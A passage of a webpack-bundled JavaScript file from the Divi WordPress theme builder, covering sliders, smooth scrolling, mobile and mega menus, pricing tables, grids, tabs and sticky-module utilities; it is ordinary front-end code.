.et-image-slider'); $et_shortcodes_tabs.each(function (i) { var et_shortcodes_tab_class = $(this).attr('class'), et_shortcodes_tab_autospeed_class_value = /et_sliderauto_speed_(\d+)/g, et_shortcodes_tab_autospeed = et_shortcodes_tab_autospeed_class_value.exec(et_shortcodes_tab_class), et_shortcodes_tab_auto_class_value = /et_sliderauto_(\w+)/g, et_shortcodes_tab_auto = et_shortcodes_tab_auto_class_value.exec(et_shortcodes_tab_class), et_shortcodes_tab_type_class_value = /et_slidertype_(\w+)/g, et_shortcodes_tab_type = et_shortcodes_tab_type_class_value.exec(et_shortcodes_tab_class), et_shortcodes_tab_fx_class_value = /et_sliderfx_(\w+)/g, et_shortcodes_tab_fx = et_shortcodes_tab_fx_class_value.exec(et_shortcodes_tab_class), et_shortcodes_tab_apply_to_element = '.et-tabs-content', et_shortcodes_tab_settings = {}; et_shortcodes_tab_settings.linksNav = $(this).find('.et-tabs-control li a'); et_shortcodes_tab_settings.findParent = true; et_shortcodes_tab_settings.fx = et_shortcodes_tab_fx[1]; et_shortcodes_tab_settings.auto = 'false' === et_shortcodes_tab_auto[1] ? false : true; et_shortcodes_tab_settings.autoSpeed = et_shortcodes_tab_autospeed[1]; if ('simple' === et_shortcodes_tab_type[1]) { et_shortcodes_tab_settings = {}; et_shortcodes_tab_settings.fx = et_shortcodes_tab_fx[1]; et_shortcodes_tab_settings.auto = 'false' === et_shortcodes_tab_auto[1] ? false : true; et_shortcodes_tab_settings.autoSpeed = et_shortcodes_tab_autospeed[1]; et_shortcodes_tab_settings.sliderType = 'simple'; et_shortcodes_tab_apply_to_element = '.et-simple-slides'; } else if ('images' === et_shortcodes_tab_type[1]) { et_shortcodes_tab_settings.sliderType = 'images'; et_shortcodes_tab_settings.linksNav = '#' + $(this).attr('id') + ' .controllers a.switch'; et_shortcodes_tab_settings.findParent = false; et_shortcodes_tab_settings.lengthElement = '#' + $(this).attr('id') + ' a.switch'; et_shortcodes_tab_apply_to_element = '.et-image-slides'; } $(this).find(et_shortcodes_tab_apply_to_element).et_shortcodes_switcher(et_shortcodes_tab_settings); }); }; })(jQuery); // end et_switcher plugin v2 /////// Shortcodes Javascript /////// jQuery(function ($) { window.et_shortcodes_init(); }); /***/ }), /***/ "./includes/builder/.webpack/scripts.js": /*!**********************************************!*\ !*** ./includes/builder/.webpack/scripts.js ***! \**********************************************/ /*! no exports provided */ /***/ (function(module, __webpack_exports__, __webpack_require__) { "use strict"; __webpack_require__.r(__webpack_exports__); /* harmony import */ var _scripts_ext_waypoints_min_js__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! ../scripts/ext/waypoints.min.js */ "./includes/builder/scripts/ext/waypoints.min.js"); /* harmony import */ var _scripts_ext_waypoints_min_js__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(_scripts_ext_waypoints_min_js__WEBPACK_IMPORTED_MODULE_0__); /* harmony import */ var _frontend_builder_build_frontend_builder_global_functions_js__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ../frontend-builder/build/frontend-builder-global-functions.js */ "./includes/builder/frontend-builder/build/frontend-builder-global-functions.js"); /* harmony import */ var _frontend_builder_build_frontend_builder_global_functions_js__WEBPACK_IMPORTED_MODULE_1___default = /*#__PURE__*/__webpack_require__.n(_frontend_builder_build_frontend_builder_global_functions_js__WEBPACK_IMPORTED_MODULE_1__); /* harmony import */ var _frontend_builder_build_frontend_builder_scripts_js__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ../frontend-builder/build/frontend-builder-scripts.js */ "./includes/builder/frontend-builder/build/frontend-builder-scripts.js"); /* harmony import */ var _frontend_builder_build_frontend_builder_scripts_js__WEBPACK_IMPORTED_MODULE_2___default = /*#__PURE__*/__webpack_require__.n(_frontend_builder_build_frontend_builder_scripts_js__WEBPACK_IMPORTED_MODULE_2__); /***/ }), /***/ "./includes/builder/frontend-builder/build/frontend-builder-global-functions.js": /*!**************************************************************************************!*\ !*** ./includes/builder/frontend-builder/build/frontend-builder-global-functions.js ***! \**************************************************************************************/ /*! no static exports found */ /***/ (function(module, exports, __webpack_require__) { function _typeof2(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof2 = function _typeof2(obj) { return typeof obj; }; } else { _typeof2 = function _typeof2(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof2(obj); } (function (e, a) { for (var i in a) { e[i] = a[i]; } })(window, /******/ function (modules) { // webpackBootstrap /******/ // The module cache /******/ var installedModules = {}; /******/ /******/ // The require function /******/ function __webpack_require__(moduleId) { /******/ /******/ // Check if module is in cache /******/ if (installedModules[moduleId]) { /******/ return installedModules[moduleId].exports; /******/ } /******/ // Create a new module (and put it into the cache) /******/ var module = installedModules[moduleId] = { /******/ i: moduleId, /******/ l: false, /******/ exports: {} /******/ }; /******/ /******/ // Execute the module function /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__); /******/ /******/ // Flag the module as loaded /******/ module.l = true; /******/ /******/ // Return the exports of the module /******/ return module.exports; /******/ } /******/ /******/ /******/ // expose the modules object (__webpack_modules__) /******/ __webpack_require__.m = modules; /******/ /******/ // expose the module cache /******/ __webpack_require__.c = installedModules; /******/ /******/ // define getter function for harmony exports /******/ __webpack_require__.d = function (exports, name, getter) { /******/ if (!__webpack_require__.o(exports, name)) { /******/ Object.defineProperty(exports, name, { enumerable: true, get: getter }); /******/ } /******/ }; /******/ /******/ // define __esModule on exports /******/ __webpack_require__.r = function (exports) { /******/ if (typeof Symbol !== 'undefined' && Symbol.toStringTag) { /******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' }); /******/ } /******/ Object.defineProperty(exports, '__esModule', { value: true }); /******/ }; /******/ /******/ // create a fake namespace object /******/ // mode & 1: value is a module id, require it /******/ // mode & 2: merge all properties of value into the ns /******/ // mode & 4: return value when already ns object /******/ // mode & 8|1: behave like require /******/ __webpack_require__.t = function (value, mode) { /******/ if (mode & 1) value = __webpack_require__(value); /******/ if (mode & 8) return value; /******/ if (mode & 4 && _typeof2(value) === 'object' && value && value.__esModule) return value; /******/ var ns = Object.create(null); /******/ __webpack_require__.r(ns); /******/ Object.defineProperty(ns, 'default', { enumerable: true, value: value }); /******/ if (mode & 2 && typeof value != 'string') for (var key in value) { __webpack_require__.d(ns, key, function (key) { return value[key]; }.bind(null, key)); } /******/ return ns; /******/ }; /******/ /******/ // getDefaultExport function for compatibility with non-harmony modules /******/ __webpack_require__.n = function (module) { /******/ var getter = module && module.__esModule ? /******/ function getDefault() { return module['default']; } : /******/ function getModuleExports() { return module; }; /******/ __webpack_require__.d(getter, 'a', getter); /******/ return getter; /******/ }; /******/ /******/ // Object.prototype.hasOwnProperty.call /******/ __webpack_require__.o = function (object, property) { return Object.prototype.hasOwnProperty.call(object, property); }; /******/ /******/ // __webpack_public_path__ /******/ __webpack_require__.p = "http://0.0.0.0:31495/"; /******/ /******/ /******/ // Load entry module and return exports /******/ return __webpack_require__(__webpack_require__.s = "../scripts/frontend/global-functions.js"); /******/ }( /************************************************************************/ /******/ { /***/ "../../../core/admin/js/frame-helpers.js": /*!*********************************************************************************************************!*\ !*** /Users/slava/Local Sites/dividev/app/public/wp-content/themes/Divi/core/admin/js/frame-helpers.js ***! \*********************************************************************************************************/ /*! no static exports found */ /***/ function coreAdminJsFrameHelpersJs(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.top_window = exports.is_iframe = void 0; /* ,-,- / / | ,-' _/ / / (-_ _,-' `Z_/ "#: ,-'_,-. \ _ #' _(_-'_()\ \" | ,--_,--' | / "" L-'\ \,--^---v--v-._ / \ | \_________________,-' | \ \ \ NOTE: The code in this file will be executed multiple times! */ var top_window = window; exports.top_window = top_window; var is_iframe = false; exports.is_iframe = is_iframe; var top; try { // Have to access top window's prop (document) to trigger same-origin DOMException // so we can catch it and act accordingly. top = window.top.document ? window.top : false; } catch (e) { // Can't access top, it means we're inside a different domain iframe. top = false; } if (top && top.__Cypress__) { if (window.parent === top) { exports.top_window = top_window = window; exports.is_iframe = is_iframe = false; } else { exports.top_window = top_window = window.parent; exports.is_iframe = is_iframe = true; } } else if (top) { exports.top_window = top_window = top; exports.is_iframe = is_iframe = top !== window.self; } /***/ }, /***/ "../scripts/frontend/global-functions.js": /*!***********************************************!*\ !*** ../scripts/frontend/global-functions.js ***! \***********************************************/ /*! no static exports found */ /***/ function scriptsFrontendGlobalFunctionsJs(module, exports, __webpack_require__) { "use strict"; /* WEBPACK VAR INJECTION */ (function (jQuery) { var _frameHelpers = __webpack_require__( /*! @core/admin/js/frame-helpers */ "../../../core/admin/js/frame-helpers.js"); var _utils = __webpack_require__( /*! ../utils/utils */ "../scripts/utils/utils.js"); var _sticky = __webpack_require__( /*! ../utils/sticky */ "../scripts/utils/sticky.js"); // Internal Dependencies (function ($) { var isBlockLayoutPreview = $('body').hasClass('et-block-layout-preview'); var $tbHeader = $('.et-l--header').first(); var tbHeaderAllFixedSectionHeight = 0; // Modification of underscore's _.debounce() // Underscore.js 1.8.3 // http://underscorejs.org // (c) 2009-2015 Jeremy Ashkenas, DocumentCloud and Investigative Reporters & Editors // Underscore may be freely distributed under the MIT license. window.et_pb_debounce = function (func, wait, immediate) { var timeout; var args; var context; var timestamp; var result; var now = Date.now || new Date().getTime(); var later = function later() { var last = now - timestamp; if (last < wait && last >= 0) { timeout = setTimeout(later, wait - last); } else { timeout = null; if (!immediate) { result = func.apply(context, args); if (!timeout) context = args = null; } } }; return function () { context = this; args = arguments; timestamp = now; var callNow = immediate && !timeout; if (!timeout) timeout = setTimeout(later, wait); if (callNow) { result = func.apply(context, args); context = args = null; } return result; }; }; if ($tbHeader.length) { var $tbHeaderSections = $tbHeader.find('.et_builder_inner_content').children('.et_pb_section--fixed'); // Get the most tall header fixed section height var et_pb_header_most_lengthy_fixed_section_height = et_pb_debounce(function (e) { tbHeaderAllFixedSectionHeight = 0; $.each($tbHeaderSections, function (index, section) { var $sectionHeight = $(section).outerHeight(true); tbHeaderAllFixedSectionHeight += $sectionHeight; }); }, 300); $(window).on('resize', et_pb_header_most_lengthy_fixed_section_height); } window.et_pb_smooth_scroll = function ($target, $top_section, speed, easing) { var targetOffsetTop = $target.offset().top; var $window_width = $(window).width(); var $menu_offset = 0; var $scroll_position = 0; var $menuLeft = ''; var $menuRight = ''; var $fixedHeaderSection = $tbHeader.find('.et_pb_section'); // If the target is in sticky state there should be no scroll so we can bail early. if ((0, _sticky.isTargetStickyState)($target)) { return; } if ($('body').hasClass('et_fixed_nav') && $window_width > 980) { var topHeaderHeight = $('#top-header').outerHeight() || 0; var mainHeaderHeight = $('#main-header').outerHeight() || 0; $menu_offset = topHeaderHeight + mainHeaderHeight - 1; } else { $menu_offset = 0; } if ($('#wpadminbar').length && $window_width > 600) { var wpAdminBarHeight = $('#wpadminbar').outerHeight() || 0; $menu_offset += wpAdminBarHeight; } if ($tbHeader.length) { // attach targeted section just under header (if) fixed section if ($fixedHeaderSection.hasClass('et_pb_section--fixed')) { $menuLeft = Math.ceil(parseFloat($fixedHeaderSection.css('left'))); $menuRight = Math.ceil(parseFloat($fixedHeaderSection.css('right'))); if ($window_width < 980) { $menu_offset += 90; } } if (0 === $menuLeft + $menuRight) { $menu_offset += tbHeaderAllFixedSectionHeight; } } // Calculate offset that needs to be added due to the existence of sticky module(s). // This avoids smooth scroll to stop beneath sticky module. var closestStickyOffsetTop = (0, _sticky.getClosestStickyModuleOffsetTop)($target); if (closestStickyOffsetTop) { $menu_offset += closestStickyOffsetTop; } // fix sidenav scroll to top if ($top_section) { $scroll_position = 0; } else { $scroll_position = Math.round(targetOffsetTop) - $menu_offset; } // set swing (animate's scrollTop default) as default value if ('undefined' === typeof easing) { easing = 'swing'; } $('html, body').animate({ scrollTop: $scroll_position }, speed, easing); }; window.et_pb_form_placeholders_init = function ($form) { $form.find('input:text, input[type="email"], input[type="url"], textarea').each(function (index, domEle) { var $et_current_input = jQuery(domEle); var $et_comment_label = $et_current_input.siblings('label'); var et_comment_label_value = $et_current_input.siblings('label').text(); if ($et_comment_label.length) { $et_comment_label.hide(); if ($et_current_input.siblings('span.required')) { et_comment_label_value += $et_current_input.siblings('span.required').text(); $et_current_input.siblings('span.required').hide(); } $et_current_input.val(et_comment_label_value); } }).on('focus', function () { var et_label_text = jQuery(this).siblings('label').text(); if (jQuery(this).siblings('span.required').length) et_label_text += jQuery(this).siblings('span.required').text(); if (jQuery(this).val() === et_label_text) jQuery(this).val(''); }).on('blur', function () { var et_label_text = jQuery(this).siblings('label').text(); if (jQuery(this).siblings('span.required').length) et_label_text += jQuery(this).siblings('span.required').text(); if ('' === jQuery(this).val()) jQuery(this).val(et_label_text); }); }; window.et_duplicate_menu = function (menu, append_to, menu_id, menu_class, menu_click_event) { append_to.each(function () { var $this_menu = $(this); var $cloned_nav; // Bail early if menu has already been duplicated. if ($this_menu.find("#".concat(menu_id)).length) { return; } // make this function work with existing menus, without cloning if ('' !== menu) { menu.clone().attr('id', menu_id).removeClass().attr('class', menu_class).appendTo($this_menu); } $cloned_nav = $this_menu.find('> ul'); $cloned_nav.find('.menu_slide').remove(); $cloned_nav.find('.et_pb_menu__logo-slot').remove(); $cloned_nav.find('li').first().addClass('et_first_mobile_item'); $cloned_nav.find('a').on('click', function () { $(this).parents('.et_mobile_menu').siblings('.mobile_menu_bar').trigger('click'); }); if ('no_click_event' !== menu_click_event) { if (_utils.isBuilder) { $this_menu.off('click'); } var $this_menu_section = $this_menu.closest('.et_pb_section'); var $this_menu_row = $this_menu.closest('.et_pb_row'); var $this_menu_sec_has_radius = $this_menu_section.css('border-radius') !== '0px'; var $this_menu_row_has_radius = $this_menu_row.css('border-radius') !== '0px'; $this_menu.on('click', '.mobile_menu_bar', function () { // Close all other open menus. $('.mobile_nav.opened .mobile_menu_bar').not($(this)).trigger('click'); if ($this_menu.hasClass('closed')) { $this_menu.removeClass('closed').addClass('opened'); if ($this_menu_sec_has_radius || $this_menu_row_has_radius) { $this_menu_section.css('overflow', 'visible'); $this_menu_row.css('overflow', 'visible'); } $cloned_nav.stop().slideDown(500); } else { $this_menu.removeClass('opened').addClass('closed'); $cloned_nav.stop().slideUp(500); if ($this_menu_sec_has_radius || $this_menu_row_has_radius) { setTimeout(function () { $this_menu_section.css('overflow', 'hidden'); $this_menu_row.css('overflow', 'hidden'); }, 500); } } return false; }); } }); $('#mobile_menu .centered-inline-logo-wrap').remove(); }; // remove placeholder text before form submission window.et_pb_remove_placeholder_text = function ($form) { $form.find('input:text, textarea').each(function (index, domEle) { var $et_current_input = jQuery(domEle); var $et_label = $et_current_input.siblings('label'); var et_label_value = $et_current_input.siblings('label').text(); if ($et_label.length && $et_label.is(':hidden')) { if ($et_label.text() == $et_current_input.val()) $et_current_input.val(''); } }); }; window.et_fix_fullscreen_section = function () { var $et_window = isBlockLayoutPreview ? $(_frameHelpers.top_window) : $(window); $('section.et_pb_fullscreen').each(function () { var $this_section = $(this); et_calc_fullscreen_section.bind($this_section); $et_window.on('resize', et_calc_fullscreen_section.bind($this_section)); }); }; window.et_bar_counters_init = function ($bar_item) { if (!$bar_item.length) { return; } $bar_item.css({ width: "".concat(parseFloat($bar_item.attr('data-width')), "%") }); }; window.et_fix_pricing_currency_position = function ($pricing_table) { setTimeout(function () { var $all_pricing_tables = typeof $pricing_table !== 'undefined' ? $pricing_table : $('.et_pb_pricing_table'); if (!$all_pricing_tables.length) { return; } $all_pricing_tables.each(function () { var $this_table = $(this); var $price_container = $this_table.find('.et_pb_et_price'); var $currency = $price_container.length ? $price_container.find('.et_pb_dollar_sign') : false; var $price = $price_container.length ? $price_container.find('.et_pb_sum') : false; if (!$currency || !$price) { return; } // adjust the margin of currency sign to make sure it doesn't overflow the price $currency.css({ marginLeft: "".concat(-$currency.width(), "px") }); }); }, 1); }; window.et_pb_set_responsive_grid = function ($grid_items_container, single_item_selector) { setTimeout(function () { var container_width = $grid_items_container.innerWidth(); var $grid_items = $grid_items_container.find(single_item_selector); var item_width = $grid_items.outerWidth(true); var last_item_margin = item_width - $grid_items.outerWidth(); var columns_count = Math.round((container_width + last_item_margin) / item_width); var counter = 1; var first_in_row = 1; var $first_in_last_row = $(); $grid_items.removeClass('last_in_row first_in_row on_last_row'); $grid_items.filter(':visible').each(function () { var $this_element = $(this); if (!$this_element.hasClass('inactive')) { if (first_in_row === counter) { $this_element.addClass('first_in_row'); $first_in_last_row = $this_element; } else if (0 === counter % columns_count) { $this_element.addClass('last_in_row'); first_in_row = counter + 1; } counter++; } }); if ($first_in_last_row.length) { var $module = $first_in_last_row.parents('.et_pb_module'); // set margin bottom to 0 if the gallery is the last module on the column if ($module.is(':last-child')) { var column = $first_in_last_row.parents('.et_pb_column')[0]; $(column).find('.et_pb_grid_item').removeClass('on_last_row'); // keep gutter margin if gallery has pagination var pagination = $module.find('.et_pb_gallery_pagination'); if (0 === pagination.length) { pagination = $module.find('.et_pb_portofolio_pagination'); } if (0 === pagination.length || pagination.length > 0 && !pagination.is(':visible')) { if (columns_count > 1) { $first_in_last_row.addClass('on_last_row'); } $first_in_last_row.nextAll().addClass('on_last_row'); } } } }, 1); // need this timeout to make sure all the css applied before calculating sizes }; window.et_pb_set_tabs_height = function ($tabs_module) { if ('undefined' === typeof $tabs_module) { $tabs_module = $('.et_pb_tabs'); } if (!$tabs_module.length) { return; } $tabs_module.each(function () { var $tab_controls = $(this).find('.et_pb_tabs_controls'); var $all_tabs = $tab_controls.find('li'); var max_height = 0; var small_columns = '.et_pb_column_1_3, .et_pb_column_1_4, .et_pb_column_3_8'; var in_small_column = $(this).parents(small_columns).length > 0; var on_small_screen = parseFloat($(window).width()) < 768; var vertically_stacked = in_small_column || on_small_screen; if (vertically_stacked) { $(this).addClass('et_pb_tabs_vertically_stacked'); } // determine the height of the tallest tab if ($all_tabs.length) { // remove the height attribute if it was added to calculate the height correctly $tab_controls.children('li').removeAttr('style'); $all_tabs.each(function () { var tab_height = $(this).outerHeight(); if (vertically_stacked) { return; } if (tab_height > max_height) { max_height = tab_height; } }); } if (0 !== max_height) { // set the height of tabs container based on the height of the tallest tab $tab_controls.children('li').css('height', "".concat(max_height, "px")); } }); }; window.et_pb_box_shadow_apply_overlay = function (el) { var pointerEventsSupport = document.body.style.pointerEvents !== undefined // For some reasons IE 10 tells that supports pointer-events, but it doesn't && (document.documentMode === undefined || document.documentMode >= 11); if (pointerEventsSupport) { $(el).each(function () { if (!$(this).children('.box-shadow-overlay').length) { $(this).addClass('has-box-shadow-overlay').prepend('<div class="box-shadow-overlay"></div>'); } }); } else { $(el).addClass('.et-box-shadow-no-overlay'); } }; window.et_pb_init_nav_menu = function ($et_menus) { $et_menus.each(function () { var $et_menu = $(this); // don't attach event handlers several times to the same menu if ($et_menu.data('et-is-menu-ready')) { return; } $et_menu.find('li').on('mouseenter', function () { window.et_pb_toggle_nav_menu($(this), 'open'); }).on('mouseleave', function () { window.et_pb_toggle_nav_menu($(this), 'close'); }); // close all opened menus on touch outside the menu $('body').on('touchend', function (event) { if ($(event.target).closest('ul.nav, ul.menu').length < 1 && $('.et-hover').length > 0) { window.et_pb_toggle_nav_menu($('.et-hover'), 'close'); } }); // Dropdown menu adjustment for touch screen $et_menu.find('li.menu-item-has-children').on('touchend', function (event) { var $closest_li = $(event.target).closest('.menu-item'); // no need special processing if parent li doesn't have hidden child elements if (!$closest_li.hasClass('menu-item-has-children')) { return; } var $this_el = $(this); var is_mega_menu_opened = $closest_li.closest('.mega-menu-parent.et-touch-hover').length > 0; // open submenu on 1st tap // open link on second tap if ($this_el.hasClass('et-touch-hover') || is_mega_menu_opened) { var href = $this_el.find('>a').attr('href'); if (typeof href !== 'undefined') { // if parent link is not empty then open the link window.location = $this_el.find('>a').attr('href'); } } else { var $opened_menu = $(event.target); var $already_opened_menus = $opened_menu.closest('.menu-item').siblings('.et-touch-hover'); // close the menu before opening new one if ($opened_menu.closest('.et-touch-hover').length < 1) { window.et_pb_toggle_nav_menu($('.et-hover'), 'close', 0); } $this_el.addClass('et-touch-hover'); if ($already_opened_menus.length > 0) { var $submenus_in_already_opened = $already_opened_menus.find('.et-touch-hover'); // close already opened submenus to avoid overlaps window.et_pb_toggle_nav_menu($already_opened_menus, 'close'); window.et_pb_toggle_nav_menu($submenus_in_already_opened, 'close'); } // open new submenu window.et_pb_toggle_nav_menu($this_el, 'open'); } event.preventDefault(); event.stopPropagation(); }); $et_menu.find('li.mega-menu').each(function () { var $li_mega_menu = $(this); var $li_mega_menu_item = $li_mega_menu.children('ul').children('li'); var li_mega_menu_item_count = $li_mega_menu_item.length; if (li_mega_menu_item_count < 4) { $li_mega_menu.addClass("mega-menu-parent mega-menu-parent-".concat(li_mega_menu_item_count)); } }); // mark the menu as ready $et_menu.data('et-is-menu-ready', 'ready'); }); }; window.et_pb_toggle_nav_menu = function ($element, state, delay) { if ('open' === state) { if (!$element.closest('li.mega-menu').length || $element.hasClass('mega-menu')) { $element.addClass('et-show-dropdown'); $element.removeClass('et-hover').addClass('et-hover'); } } else { var closeDelay = typeof delay !== 'undefined' ? delay : 200; $element.removeClass('et-show-dropdown'); $element.removeClass('et-touch-hover'); setTimeout(function () { if (!$element.hasClass('et-show-dropdown')) { $element.removeClass('et-hover'); } }, closeDelay); } }; window.et_pb_apply_sticky_image_effect = function ($sticky_image_el) { var $row = $sticky_image_el.closest('.et_pb_row'); var $section = $row.closest('.et_pb_section'); var $column = $sticky_image_el.closest('.et_pb_column'); var sticky_class = 'et_pb_section_sticky'; var sticky_mobile_class = 'et_pb_section_sticky_mobile'; var $lastRowInSection = $section.children('.et_pb_row').last(); var $lastColumnInRow = $row.children('.et_pb_column').last(); var $lastModuleInColumn = $column.children('.et_pb_module').last(); // If it is not in the last row, continue if (!$row.is($lastRowInSection)) { return true; } $lastRowInSection.addClass('et-last-child'); // Make sure sticky image is the last element in the column if (!$sticky_image_el.is($lastModuleInColumn)) { return true; } // If it is in the last row, find the parent section and attach new class to it if (!$section.hasClass(sticky_class)) { $section.addClass(sticky_class); } $column.addClass('et_pb_row_sticky'); if (!$section.hasClass(sticky_mobile_class) && $column.is($lastColumnInRow)) { $section.addClass(sticky_mobile_class); } }; /** * Inject a <li> element in the middle of a menu for the purposes of the menu module's * inline centered logo style. * * @since 4.0 * * @param {object} menu * * @returns {object|null} */ window.et_pb_menu_inject_inline_centered_logo = function (menu) { var $listItems = $(menu).find('nav > ul > li'); var index = Math.round($listItems.length / 2); var li = window.et_pb_menu_inject_item(menu, index, true); if (li) { $(li).addClass('et_pb_menu__logo-slot'); } return li; }; /** * Inject a <li> element at the start of a menu for the purposes of the menu module's * additional icons. * * @since 4.0 * * @param {object} menu * @param {number} index * @param {boolean} fromTheBeginning * * @returns {object|null} */ window.et_pb_menu_inject_item = function (menu, index, fromTheBeginning) { fromTheBeginning = undefined === fromTheBeginning ? true : fromTheBeginning; index = Math.max(index, 0); var $list = $(menu).find('nav > ul').first(); if (0 === $list.length) { return null; } var $listItems = $list.find('> li'); var $li = $('<li></li>'); if (0 === $listItems.length) { $list.append($li); } else { var action = fromTheBeginning ? 'before' : 'after'; var $sibling = fromTheBeginning ? $listItems.eq(index) : $listItems.eq($listItems.length - 1 - index); if (0 === $sibling.length) { action = fromTheBeginning ? 'after' : 'before'; $sibling = fromTheBeginning ? $listItems.last() : $listItems.first(); } $sibling[action]($li); } return $li.get(0); }; /** * Reposition menu module dropdowns. * This is necessary due to mega menus relying on an upper wrapper's width but * still needing to be position relative to their parent li. * * @since 4.0 * * @returns {void} */ window.et_pb_reposition_menu_module_dropdowns = et_pb_debounce(function (menus) { var $menus = menus ? $(menus) : $('.et_pb_menu, .et_pb_fullwidth_menu'); $menus.each(function () { var $row = $(this).find('.et_pb_row').first(); if (0 === $row.length) { return true; // = continue. } var offset = $row.offset().top; var moduleClass = $(this).attr('class').replace(/^.*?(et_pb(?:_fullwidth)?_menu_\d+[^\s]*).*$/i, '$1'); var isUpwards = $(this).find('.et_pb_menu__menu ul').first().hasClass('upwards'); var selector = '.et_pb_menu__menu > nav > ul > li.mega-menu.menu-item-has-children'; var css = ''; $(this).find(selector).each(function () { var $li = $(this); var liId = $li.attr('class').replace(/^.*?(menu-item-\d+).*$/i, '$1'); var selector = ".".concat(moduleClass, " li.").concat(liId, " > .sub-menu"); if (isUpwards) { // Offset by 1px to ensure smooth mouse hover. var linkOffset = Math.floor(offset + $row.outerHeight() - $li.offset().top) - 1; css += "".concat(selector, "{ bottom: ").concat(linkOffset.toString(), "px !important; }"); } else { // Offset by 1px to ensure smooth mouse hover. var linkOffset = Math.floor($li.offset().top + $li.outerHeight() - offset) - 1; css += "".concat(selector, "{ top: ").concat(linkOffset.toString(), "px !important; }"); } }); var $style = $("style.et-menu-style-".concat(moduleClass)).first(); if (0 === $style.length) { $style = $('<style></style>'); $style.addClass('et-menu-style'); $style.addClass("et-menu-style-".concat(moduleClass)); $style.appendTo($('head')); } var oldCss = $style.html(); if (css !== oldCss) { $style.html(css); } }); }, 200); })(jQuery); /* WEBPACK VAR INJECTION */ }).call(this, __webpack_require__( /*! jquery */ "jquery")); /***/ }, /***/ "../scripts/utils/sticky.js": /*!**********************************!*\ !*** ../scripts/utils/sticky.js ***! \**********************************/ /*! no static exports found */ /***/ function scriptsUtilsStickyJs(module, exports, __webpack_require__) { "use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.trimTransitionValue = exports.isTargetStickyState = exports.getStickyStyles = exports.getLimitSelector = exports.getLimit = exports.getClosestStickyModuleOffsetTop = exports.filterInvalidModules = void 0; var _filter = _interopRequireDefault(__webpack_require__( /*! lodash/filter */ "./node_modules/lodash/filter.js")); var _forEach = _interopRequireDefault(__webpack_require__( /*! lodash/forEach */ "./node_modules/lodash/forEach.js")); var _get = _interopRequireDefault(__webpack_require__( /*! lodash/get */ "./node_modules/lodash/get.js")); var _head = _interopRequireDefault(__webpack_require__( /*! lodash/head */ "./node_modules/lodash/head.js")); var _includes = _interopRequireDefault(__webpack_require__( /*! lodash/includes */ "./node_modules/lodash/includes.js")); var _isEmpty = _interopRequireDefault(__webpack_require__( /*! lodash/isEmpty */ "./node_modules/lodash/isEmpty.js")); var _isString = _interopRequireDefault(__webpack_require__( /*! lodash/isString */ "./node_modules/lodash/isString.js")); var _jquery = _interopRequireDefault(__webpack_require__( /*! jquery */ "jquery")); var _utils = __webpack_require__( /*! ./utils */ "../scripts/utils/utils.js"); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) { symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); } keys.push.apply(keys, symbols); } return keys; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } /** * Get top / bottom limit attributes. * * @since 4.6.0 * @param {object} $selector * @param limit * @param {string} * @returns {object} * @returns {string} Object.limit. * @returns {number} Object.height. * @returns {number} Object.width. * @return {object} object.offsets * @return {number} object.offsets.top * @return {number} object.offsets.right * @return {number} object.offsets.bottom * @return {number} object.offsets.left */ var getLimit = function getLimit($selector, limit) { // @todo update valid limits based on selector var validLimits = ['body', 'section', 'row', 'column']; if (!(0, _includes.default)(validLimits, limit)) { return false; } // Limit selector var $limitSelector = getLimitSelector($selector, limit); if (!$limitSelector) { return false; } var height = $limitSelector.outerHeight(); var width = $limitSelector.outerWidth(); return { limit: limit, height: height, width: width, offsets: (0, _utils.getOffsets)($limitSelector, width, height) }; }; /** * Get top / bottom limit selector based on given name. * * @since 4.6.0 * * @param {object} $selector * @param {string} limit * * @returns {bool|object} */ exports.getLimit = getLimit; var getLimitSelector = function getLimitSelector($selector, limit) { var parentSelector = false; switch (limit) { case 'body': parentSelector = '.et_builder_inner_content'; break; case 'section': parentSelector = '.et_pb_section'; break; case 'row': parentSelector = '.et_pb_row'; break; case 'column': parentSelector = '.et_pb_column'; break; default: break; } return parentSelector ? $selector.closest(parentSelector) : false; }; /** * Filter invalid sticky modules * 1. Sticky module inside another sticky module. * * @param {object} modules * @param {object} currentModules * * @since 4.6.0 */ exports.getLimitSelector = getLimitSelector; var filterInvalidModules = function filterInvalidModules(modules) { var currentModules = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; var filteredModules = {}; (0, _forEach.default)(modules, function (module, key) { // If current sticky module is inside another sticky module, ignore current module if ((0, _jquery.default)(module.selector).parents('.et_pb_sticky_module').length > 0) { return; } // Repopulate the module list if (!(0, _isEmpty.default)(currentModules) && currentModules[key]) { // Keep props that isn't available on incoming modules intact filteredModules[key] = _objectSpread(_objectSpread({}, currentModules[key]), module); } else { filteredModules[key] = module; } }); return filteredModules; }; /** * Get sticky style of given module by cloning, adding sticky state classname, appending DOM, * retrieving value, then immediately the cloned DOM. This is needed for property that is most * likely to be affected by transition if the sticky value is retrieved on the fly, thus it needs * to be retrieved ahead its time by this approach. * * @since 4.6.0 * * @param {string} id 